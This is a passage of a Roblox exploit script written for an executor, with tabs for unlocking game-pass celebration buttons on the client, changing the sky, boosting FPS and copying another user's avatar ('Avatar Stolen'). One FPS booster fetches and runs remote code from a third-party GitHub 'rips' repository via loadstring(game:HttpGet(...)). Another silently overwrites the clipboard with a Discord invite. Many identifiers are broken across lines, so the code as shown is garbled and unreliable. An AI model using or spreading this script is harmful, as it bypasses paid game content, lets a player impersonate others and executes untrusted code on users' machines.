game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack4.CelebrationPack4.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack5.Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack5.CelebrationPack5.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack6.Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack6.CelebrationPack6.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack7.Tick.Visible = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.GamePassMenu.Items.Celebrati
onPack7.CelebrationPack7.Style = "RobloxRoundButton"

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.Package1.Button.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.Package2.Button.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.Package3.Button.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.Package4.Button.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.Package5.Button.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.Package6.Button.Visible = false
game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.Package7.Button.Visible = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF04.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF04.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF04.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF05.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF05.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF05.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF06.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF06.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF06.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF05.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF06.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF07.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF07.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF07.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF08.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF08.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF08.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF09.Active = true
game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF09.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF09.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF10.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF10.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF10.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF11.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF11.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF11.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF12.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF12.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF12.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF13.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF13.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF13.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF14.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF14.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF14.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF15.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF15.Selectable = true
game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF15.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF16.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF16.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF16.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF17.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF17.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF17.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF18.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF18.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF18.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF19.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF19.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF19.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF20.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF20.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF20.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF21.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF21.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF21.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF22.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF22.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF22.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF23.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF23.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF23.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF24.Active = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF24.Selectable = true

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF24.Script.Disabled = false

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF04.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration4()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF05.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration5()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF06.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration6()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF07.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration7()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF08.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration8()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF09.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration9()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF10.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration10()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF11.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration11()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF12.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration12()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF13.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration13()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF14.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration14()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF15.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration15()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF16.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration16()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF17.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration17()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF18.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration18()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF19.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration19()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF20.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration20()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF21.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration21()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF22.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration22()
end)

game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF23.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration23()
end)
game:GetService("Players").LocalPlayer.PlayerGui.Start.Celebrations.CelebrationsSel
ect.SF24.MouseButton1Click:Connect(function()

require(game.Players.LocalPlayer.Backpack.CelebrationsModule).Celebration24()
end)
end,
})

local Tab = Window:CreateTab("Skys Changer", 4483362458) -- Title, Image

local Button = Tab:CreateButton({


Name = "Full Night Sky",
Callback = function()
getgenv().Kitten = 5
local texture = "http://www.roblox.com/asset/?id=17055447520"
local sky = Instance.new("Sky")

sky.Parent = game.Lighting

sky.CelestialBodiesShown = false
sky.SkyboxBk = texture
sky.SkyboxDn = texture
sky.SkyboxFt = texture
sky.SkyboxLf = texture
sky.SkyboxRt = texture
sky.SkyboxUp = texture
end,
})

local Button = Tab:CreateButton({


Name = "Vibe Sky",
Callback = function()
getgenv().Kitten = 10
local Lighting = game.Lighting

local sky = Instance.new("Sky")


sky.Parent = Lighting
sky.CelestialBodiesShown = true
sky.MoonTextureId = "rbxasset://sky/moon.jpg"
sky.SkyboxBk = "rbxassetid://159067838"
sky.SkyboxDn = "rbxassetid://159067646"
sky.SkyboxFt = "rbxassetid://159067838"
sky.SkyboxLf = "rbxassetid://159067744"
sky.SkyboxRt = "rbxassetid://159067744"
sky.SkyboxUp = "rbxassetid://159067921"
sky.StarCount = "3000"
sky.SunAngularSize = "21"
sky.SunTextureId = "rbxasset://sky/sun.jpg"

local Atmosphere = Instance.new("Atmosphere")


Atmosphere.Parent = Lighting
Atmosphere.Color = Color3.new(250, 250, 250)
Atmosphere.Decay = Color3.new(255, 255, 255)

local Bloom = Instance.new("BloomEffect")


Bloom.Parent = Lighting
Bloom.Enabled = true
Bloom.Intensity = "0.4"
Bloom.Size = "24"
Bloom.Threshold = "0.95"

local Blur = Instance.new("BlurEffect")


Blur.Parent = Lighting
Blur.Enabled = true
Blur.Size = "1.7"

local DepthofField = Instance.new("DepthOfFieldEffect")


DepthofField.Parent = Lighting
DepthofField.Enabled = true
DepthofField.FarIntensity = "0.1"
DepthofField.FocusDistance = "0.05"
DepthofField.InFocusRadius = "39"
DepthofField.NearIntensity = "0.75"

local SunRays = Instance.new("SunRaysEffect")


SunRays.Parent = Lighting
SunRays.Enabled = true
SunRays.Intensity = "0.25"
SunRays.Spread = "1"

Lighting.ClockTime = "14.5"
Lighting.GeographicLatitude = "0"
Lighting.TimeOfDay = "14:30:00"
Lighting.ExposureCompensation = "0"
end,
})

local Button = Tab:CreateButton({


Name = "Black Hole",
Callback = function()
getgenv().Kitten = 5
local texture = "http://www.roblox.com/asset/?id=17108753749"
local sky = Instance.new("Sky")

sky.Parent = game.Lighting

sky.CelestialBodiesShown = false
sky.SkyboxBk = texture
sky.SkyboxDn = texture
sky.SkyboxFt = texture
sky.SkyboxLf = texture
sky.SkyboxRt = texture
sky.SkyboxUp = texture
end,
})

local Button = Tab:CreateButton({


Name = "Neptune",
Callback = function()
getgenv().Kitten = 5
local texture = "http://www.roblox.com/asset/?id=17108745046"
local sky = Instance.new("Sky")

sky.Parent = game.Lighting

sky.CelestialBodiesShown = false
sky.SkyboxBk = texture
sky.SkyboxDn = texture
sky.SkyboxFt = texture
sky.SkyboxLf = texture
sky.SkyboxRt = texture
sky.SkyboxUp = texture
end,
})

local Button = Tab:CreateButton({


Name = "Aurora Boreal",
Callback = function()
getgenv().Kitten = 5
local texture = "http://www.roblox.com/asset/?id=17108721907"
local sky = Instance.new("Sky")

sky.Parent = game.Lighting

sky.CelestialBodiesShown = false
sky.SkyboxBk = texture
sky.SkyboxDn = texture
sky.SkyboxFt = texture
sky.SkyboxLf = texture
sky.SkyboxRt = texture
sky.SkyboxUp = texture
end,
})

local Button = Tab:CreateButton({


Name = "Red Vulkan",
Callback = function()
getgenv().Kitten = 5
local texture = "http://www.roblox.com/asset/?id=17108721907"
local sky = Instance.new("Sky")

sky.Parent = game.Lighting

sky.CelestialBodiesShown = false
sky.SkyboxBk = texture
sky.SkyboxDn = texture
sky.SkyboxFt = texture
sky.SkyboxLf = texture
sky.SkyboxRt = texture
sky.SkyboxUp = texture
end,
})

local Button = Tab:CreateButton({


Name = "Spooky sky",
Callback = function()
getgenv().Kitten = 10
imageOne = "http://www.roblox.com/asset/?id=169585459"
imageTwo = "http://www.roblox.com/asset/?id=169585475"
imageThree = "http://www.roblox.com/asset/?id=169585485"
imageFour = "http://www.roblox.com/asset/?id=169585502"
imageFive = "http://www.roblox.com/asset/?id=169585515"
imageSix = "http://www.roblox.com/asset/?id=169585502"
imageSeven = "http://www.roblox.com/asset/?id=169585485"
imageEight = "http://www.roblox.com/asset/?id=169585475"
Spooky = Instance.new("Sound", workspace)
Spooky.Name = "Spooky"
Spooky.SoundId = "rbxassetid://200519201"
Spooky.Volume = 0
Spooky.Looped = true
Spooky:Play()

Sky = Instance.new("Sky", game.Lighting)


Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne

while true do
Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne
wait(0.15)
Sky.SkyboxBk = imageTwo
Sky.SkyboxDn = imageTwo
Sky.SkyboxFt = imageTwo
Sky.SkyboxLf = imageTwo
Sky.SkyboxRt = imageTwo
Sky.SkyboxUp = imageTwo
wait(0.15)
Sky.SkyboxBk = imageThree
Sky.SkyboxDn = imageThree
Sky.SkyboxFt = imageThree
Sky.SkyboxLf = imageThree
Sky.SkyboxRt = imageThree
Sky.SkyboxUp = imageThree
wait(0.15)
Sky.SkyboxBk = imageFour
Sky.SkyboxDn = imageFour
Sky.SkyboxFt = imageFour
Sky.SkyboxLf = imageFour
Sky.SkyboxRt = imageFour
Sky.SkyboxUp = imageFour
wait(0.15)
Sky.SkyboxBk = imageFive
Sky.SkyboxDn = imageFive
Sky.SkyboxFt = imageFive
Sky.SkyboxLf = imageFive
Sky.SkyboxRt = imageFive
Sky.SkyboxUp = imageFive
wait(0.15)
Sky.SkyboxBk = imageSix
Sky.SkyboxDn = imageSix
Sky.SkyboxFt = imageSix
Sky.SkyboxLf = imageSix
Sky.SkyboxRt = imageSix
Sky.SkyboxUp = imageSix
wait(0.15)
Sky.SkyboxBk = imageSeven
Sky.SkyboxDn = imageSeven
Sky.SkyboxFt = imageSeven
Sky.SkyboxLf = imageSeven
Sky.SkyboxRt = imageSeven
Sky.SkyboxUp = imageSeven
wait(0.15)
Sky.SkyboxBk = imageEight
Sky.SkyboxDn = imageEight
Sky.SkyboxFt = imageEight
Sky.SkyboxLf = imageEight
Sky.SkyboxRt = imageEight
Sky.SkyboxUp = imageEight
wait(0.15)

end
local rekt = Instance.new('ColorCorrectionEffect', game.Lighting)
rekt.TintColor = Color3.new(155, 1, 0)
rekt.Brightness = 0.2
rekt.Contrast = 1
rekt.Saturation = 1
local topkek = Instance.new('BlurEffect', game.Lighting)
topkek.Size = 3
local bloom = Instance.new('BloomEffect', game.Lighting)
bloom.Intensity = 0.4
bloom.Size = 56
bloom.Threshold = 1

game.Lighting.TimeOfDay=0;
game.Lighting.Brightness=0;
game.Lighting.ShadowColor=Color3.new(0,0,0);
game.Lighting.Ambient=Color3.new(1,0,0);
game.Lighting.FogEnd=200;
game.Lighting.FogColor=Color3.new(1,0,0);
end,
})

local Tab = Window:CreateTab("Fps Boosters", 4483362458)

local Button = Tab:CreateButton({


Name = "Fps Booster 1",
Callback = function()
local function applyOptimizations()
local workspace = game.Workspace
local lighting = game.Lighting
local terrain = workspace.Terrain
local starterGui = game:GetService("StarterGui")

terrain.WaterWaveSize = 0
terrain.WaterWaveSpeed = 0
terrain.WaterReflectance = 0
terrain.WaterTransparency = 0

lighting.GlobalShadows = false
lighting.FogEnd = 9e9
lighting.Brightness = 0

settings().Rendering.QualityLevel = "Level01"
for _, descendant in pairs(game:GetDescendants()) do
if descendant:IsA("BasePart") or descendant:IsA("MeshPart") then
descendant.Material = "SmoothPlastic"
descendant.Reflectance = 0
descendant.CastShadow = false
elseif descendant:IsA("Decal") then
descendant.Transparency = 1
elseif descendant:IsA("ParticleEmitter") or descendant:IsA("Trail")
then
descendant.Lifetime = NumberRange.new(0)
elseif descendant:IsA("Explosion") then
descendant.BlastPressure = 1
descendant.BlastRadius = 1
elseif descendant:IsA("Fire") or descendant:IsA("SpotLight") or
descendant:IsA("Smoke") then
descendant.Enabled = false
end
end

for _, effect in pairs(lighting:GetChildren()) do


if effect:IsA("PostEffect") or effect:IsA("DepthOfFieldEffect") then
effect.Enabled = false
end
end

setclipboard("https://discord.gg/5PT4gnCad4")

starterGui:SetCore("SendNotification", {
Title = "FPS Boost",
Text = "The FPS Boost has applied!",
Duration = 7,
Style = {
Title = {
Font = Enum.Font.SourceSansBold,
TextSize = 20,
TextStrokeTransparency = 0,
TextColor = Color3.new(1, 1, 1),
},
Background = {
Transparency = 0.1,
BackgroundColor3 = Color3.new(0, 0.7, 1),
BorderSizePixel = 0,
},
},
})

print("The FPS Boost has applied!")


print("Discord link copied to clipboard!")
print("Enjoy the script!")
end

applyOptimizations()
end,
})

local Button = Tab:CreateButton({


Name = "Fps Booster 2",
Callback = function()
_G.Settings = {
Players = {
["Ignore Me"] = true, -- Ignore your Character
["Ignore Others"] = true-- Ignore other Characters
},
Meshes = {
Destroy = false, -- Destroy Meshes
LowDetail = true -- Low detail meshes (NOT SURE IT DOES ANYTHING)
},
Images = {
Invisible = true, -- Invisible Images
LowDetail = false, -- Low detail images (NOT SURE IT DOES ANYTHING)
Destroy = false, -- Destroy Images
},
["No Particles"] = true, -- Disables all ParticleEmitter, Trail, Smoke,
Fire and Sparkles
["No Camera Effects"] = true, -- Disables all PostEffect's (Camera/Lighting
Effects)
["No Explosions"] = true, -- Makes Explosion's invisible
["No Clothes"] = true, -- Removes Clothing from the game
["Low Water Graphics"] = true, -- Removes Water Quality
["No Shadows"] = true, -- Remove Shadows
["Low Rendering"] = true, -- Lower Rendering
["Low Quality Parts"] = true -- Lower quality parts
}
loadstring(game:HttpGet("https://raw.githubusercontent.com/CasperFlyModz/
discord.gg-rips/main/FPSBooster.lua"))()
end,
})

--Script Made By VPLI & vr3r

local Tab = Window:CreateTab("Avatar Stolen", 4483362458)

local Players = game:GetService("Players")


local lplr = Players.LocalPlayer
local Workspace = game:GetService("Workspace")
local Lighting = game:GetService("Lighting")

local Disguise = {Enabled = false}


local DisguiseUsername = {Value = ""}

-- Function to remove old character parts


local function RemoveOldParts(character)
for _, child in ipairs(character:GetChildren()) do
if child:IsA("Accessory") or child:IsA("Clothing") or
child:IsA("ShirtGraphic") then
child:Destroy()
elseif child:IsA("BodyColors") then
child:Destroy()
end
end
end

-- Function to disguise character


local function DisguiseCharacter(char)
task.spawn(function()
if not char then return end
local hum = char:WaitForChild("Humanoid", 9e9)
local DisguiseDescription

-- Remove old parts before applying new disguise


RemoveOldParts(char)

if DisguiseDescription == nil then


local success = false
repeat
success = pcall(function()
local userId =
Players:GetUserIdFromNameAsync(DisguiseUsername.Value)
DisguiseDescription =
Players:GetHumanoidDescriptionFromUserId(userId)
end)
if success then break end
task.wait(1)
until success or not Disguise.Enabled
end

if not Disguise.Enabled then return end


hum:ApplyDescriptionClientServer(DisguiseDescription)
end)
end

-- Input for username with auto-apply on Enter


local Input = Tab:CreateInput({
Name = "Avatar Disguise",
PlaceholderText = "username",
RemoveTextAfterFocusLost = false,
Callback = function(Text)
DisguiseUsername.Value = Text
Disguise.Enabled = true
DisguiseCharacter(lplr.Character)
end,
})

-- Automatically update disguise when character is added


lplr.CharacterAdded:Connect(function(character)
if Disguise.Enabled then
DisguiseCharacter(character)
end
end)
end

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